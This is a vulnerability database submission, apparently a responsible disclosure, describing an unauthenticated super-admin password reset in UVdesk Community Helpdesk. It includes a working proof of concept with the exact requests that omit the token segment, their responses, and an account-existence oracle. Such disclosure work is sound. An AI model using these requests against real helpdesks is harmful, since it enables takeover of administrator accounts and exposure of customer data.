Submit #910970: UVdesk UVdesk Community Helpdesk (uvdesk/core-framework) 1.0.8 - 1.1.7 Improper Authenticationinfo

TitleUVdesk UVdesk Community Helpdesk (uvdesk/core-framework) 1.0.8 - 1.1.7 Improper Authentication
Descriptionuvdesk/core-framework v1.0.8 through v1.1.7 (and master HEAD), as shipped by uvdesk/community-skeleton up to and including v1.1.8, allows a completely unauthenticated attacker to set the password of the ROLE_SUPER_ADMIN account created by the product's own install wizard, and then log in as that account. No session, no cookie, no CSRF token and no prior request of any kind are required. CLASS AND SCORE CWE-287 (Improper Authentication) via CWE-1025 (Comparison Using Wrong Factor - PHP loose comparison). CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 AFFECTED FILE, FUNCTION AND PARAMETER Controller/Authentication.php, function updateCredentials(), parameter $verificationCode (route segment), lines 120-131: $user = ...->findOneByEmail($email); $lastUpdatedInstance = ...->lastUpdatedRole($user); if (empty($user) || $user->getVerificationCode() != $verificationCode) <- loose != { ...reject... } Resources/config/routes/public.yaml, lines 8-12: helpdesk_update_account_credentials: path: /{_locale}/update-credentials/{email}/{verificationCode} defaults: { _locale: '%locale%', email: '', verificationCode: '' } Because {verificationCode} carries a default, omitting the trailing segment binds it to the empty string. In PHP, null == "" evaluates to TRUE (php -r 'var_dump(null != ""); var_dump(null == "");' -> bool(false) / bool(true)), so for any account whose verification_code column is still NULL the reject branch is never taken and the password-reset form is both served and accepted. The account created by the install wizard has verification_code = NULL, so a stock installation is exploitable out of the box. ENTRY POINT GET/POST /{_locale}/update-credentials/{email} (token segment omitted) PROOF OF CONCEPT (verbatim from my own run on 2026-07-30) Environment: git clone of community-skeleton, docker build from the vendor's own Dockerfile (composer resolves uvdesk/core-framework v1.1.7), installed by driving the vendor's shipped wizard with nothing seeded by hand, then switched to APP_ENV=prod. Version reported by the running instance: composer.lock "uvdesk/core-framework" : "v1.1.7"; git describe --tags -> v1.1.8-1-g6f35040f. Shipped state after the wizard finishes: id email verification_code role 1 [email protected] NULL ROLE_SUPER_ADMIN Baseline: the real installer password works. POST /en/member/login [email protected]&_password=Correct-Horse-1 HTTP/1.1 302 Found -> /en/member/dashboard NEGATIVE CONTROL: same endpoint WITH a wrong 32-character token. GET /en/update-credentials/[email protected]/AAAA...(32 chars) -> 302 Found -> /en/ POST same URL, password=Neg-Control-1&confirmPassword=Neg-Control-1 -> 302 Found -> /en/ Password hash unchanged and Neg-Control-1 does not authenticate. This pins the bug to the loose comparison rather than to an unprotected endpoint. EXPLOIT: omit the token segment entirely. GET /en/update-credentials/[email protected] HTTP/1.1 200 OK <form action="" method="post" id="resetPasswordForm"> name="password" / name="confirmPassword" (no CSRF field in the form; the controller reads $request->request->all() raw) POST /en/update-credentials/[email protected] password=Pwn3d-By-Anon-1&confirmPassword=Pwn3d-By-Anon-1 HTTP/1.1 302 Found -> /en/member/login Database after the request: password hash $argon2id$...$LNdCoKGyFOF... -> $argon2id$...$4hA8EC6yygM... verification_code NULL -> I7EmVidHlFdqvEDaFxWq5sKXL9PjsT6L IMPACT, OBSERVED POST /en/member/login [email protected]&_password=Pwn3d-By-Anon-1 HTTP/1.1 302 Found -> /en/member/dashboard With that session, HTTP 200 on /en/member/dashboard (title "Dashboard", identity "Helpdesk Owner"), /en/member/agents, /en/member/customers, /en/member/tickets and /en/member/settings/mailbox (the inbound-mail / IMAP configuration surface). The identical requests without the session return 302 to the login page. The legitimate wizard password no longer authenticates, so the attack is also a denial of service against the real administrator. Post-exploitation reach is genuine ROLE_SUPER_ADMIN: all tickets and customer PII, agent management, branding, and the mailbox/SMTP configuration - the same authenticated-admin surface that previously produced CVE-2023-0265, CVE-2023-39147 and CVE-2024-0916. REGRESSION PROVENANCE - the guard used to exist git log -S 'empty($verificationCode)' -- Controller/Authentication.php 06feade "Forget Password rendering of pages change" 2020-02-03 git show v1.0.7:Controller/Authentication.php if (empty($email) || empty($verificationCode)) return new Response('How did you land here? :/',404); git tag --contains 06feade -> v1.0.8 ... v1.0.17, v1.1.0 ... v1.1.7 AFFECTED: uvdesk/core-framework v1.0.8 - v1.1.7 inclusive and master HEAD 3b31910; shipped by uvdesk/community-skeleton through v1.1.8 and master 6f35040 NOT AFFECTED: v1.0.7 and earlier The guard was deleted in an error-page refactor on 2020-02-03, so the issue has been exploitable for about 6.5 years. This also removes any "intended behaviour" defence. STILL UNPATCHED (checked 2026-07-30) Latest releases are core-framework v1.1.7 and community-skeleton v1.1.8 (both 2025-09-19); neither has been superseded. Master head is 3b319100eaae62e659caa0d2979659ac182f34ed. Authentication.php at that branch (blob 030b7d3c569cc6548084d2fb416188a8811d77ea) still contains the loose != and no empty($verificationCode) rejection, and public.yaml still declares verificationCode: '' as default. PRECONDITION, STATED HONESTLY The targeted account must still have verification_code = NULL. That is the shipped state of the install-wizard super-admin, not a configuration choice - I observed it immediately after driving the vendor's own installer with nothing seeded by hand. A single anonymous POST /en/forgot-password for that address populates the token and closes the hole; I measured this live, and it happens even with MAILER_DSN=null://null, because EmailService::getEmailPlaceholderValues() persists the token before sendMail() is reached. So an administrator who has ever used forgot-password for their own address is not vulnerable. Scope is also narrower than "any account": getEmailPlaceholderValues() has exactly five call sites, all for the subject of an Agent-Created / Customer-Created / User-Forgot-Password / prepared-response mail, so agents and customers created through the admin UI or from an inbound mailbox do get a token and are NOT vulnerable. The durable target is the install-wizard super-admin, and because ticket notifications use getTicketPlaceholderValues() and never getEmailPlaceholderValues(), that account's token stays NULL indefinitely no matter how busy the helpdesk gets. The endpoint additionally provides an unauthenticated, zero-side-effect oracle: 200 = the account exists and is exploitable, 302 = exists but the token is set, 500 = address unknown (line 124 calls lastUpdatedRole($user) and dereferences NULL before the empty($user) guard). SUGGESTED FIX Restore the guard removed in 06feade (reject an absent or empty token first); replace the loose comparison with hash_equals(); move lastUpdatedRole($user) after the empty($user) guard; add token expiry, a CSRF token on resetPassword.html.twig, and rate limiting. REPRODUCTION NOTE The image webkul/uvdesk:latest is stale (core-framework v1.0.17 - still affected, but not the audited version); build from the Dockerfile in community-skeleton master to obtain v1.1.7. The shipped uvdesk-entrypoint.sh uses pre-MySQL-8 GRANT ... IDENTIFIED BY syntax, which fails silently on the MySQL 8 the image installs, so the application database user must be created by hand first. VENDOR CONTACTED Yes, before this submission. Reported privately on 2026-07-30 to [email protected], the address named in the vendor's own .github/SECURITY.md. GitHub private vulnerability reporting is disabled on both uvdesk repositories, so that mailbox is the only private channel available. I offered to hold on their timeline or to withdraw this request if they prefer to publish their own GitHub Security Advisory. The vendor has not pushed a commit since 2025-10-01, so a reply may not come; default window is 90 days from 2026-07-30. DUPLICATE CHECK (re-done from scratch on 2026-07-30) No repository security advisory, no GHSA, none of the eight existing NVD CVEs for UVdesk, no open or closed issue or pull request, nothing on huntr or OpenCVE, and no vendor documentation describes this issue. The one near-match, GHSA-78wq-6gcv-w28r, turned out to affect idno/known, a different product. VALIDATION NOTE Validated against the official released code named above, built and deployed locally in Docker with APP_ENV=prod. Not tested against any third party's live instance. All test containers were removed afterwards.
User
 f_asadbek1 (UID 100235)
Submission07/30/2026 15:50 (2 months ago)
Moderation09/25/2026 10:05 (2 months later)
StatusDuplicate
VulDB entry406172 [UVdesk Community Skeleton up to 1.1.8 Installation Wizard improper authentication]
Points0

Interested in the pricing of exploits?

See the underground prices here!